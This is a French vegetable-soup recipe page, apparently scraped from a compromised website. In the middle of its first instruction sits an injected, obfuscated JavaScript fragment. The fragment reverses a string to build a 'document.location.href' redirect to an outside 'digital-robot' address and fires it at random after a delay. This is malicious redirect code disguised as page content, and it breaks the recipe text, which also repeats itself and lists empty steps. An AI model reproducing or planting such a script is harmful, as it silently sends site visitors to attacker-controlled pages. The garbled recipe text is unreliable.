Soupe de légumes
2021-05-07- Niveau : Facile
Pelez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes, les couper en gros dés. Dans un récipient d’eau bouillante salée. Faites blanchir le chou pommé pendant 2 minutes. Coupez-les oignons en rondelles fines.
Ingrédients
Pelez tous les légumes, les couper en gros dés. Dans un récipient d'eau bouillante salée. Faites blanchir le chou pommé pendant 2 minutes. Coupez-les oignons en rondelles fines. Dans une cocotte avec du beurre sur feu moyen, tout en remuant faire revenir tous ces légumes pendant 10 à 15 minutes.
Salez et poivrez. Mouillez avec le consommé chaud. Ajoutez la feuille de laurier que vous aurez déchirée, le thym, la branche de persil, le clou de girofle et laissez cuire sur feu doux pendant 40 minutes. Rectifiez la cuisson, passez la soupe.
Hors du feu délayez un jaune d’œuf avec la crème fraîche. Liez la soupe. Goûtez l’assaisonnement, parsemez de ciboulette ciselée. Dégustez...
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
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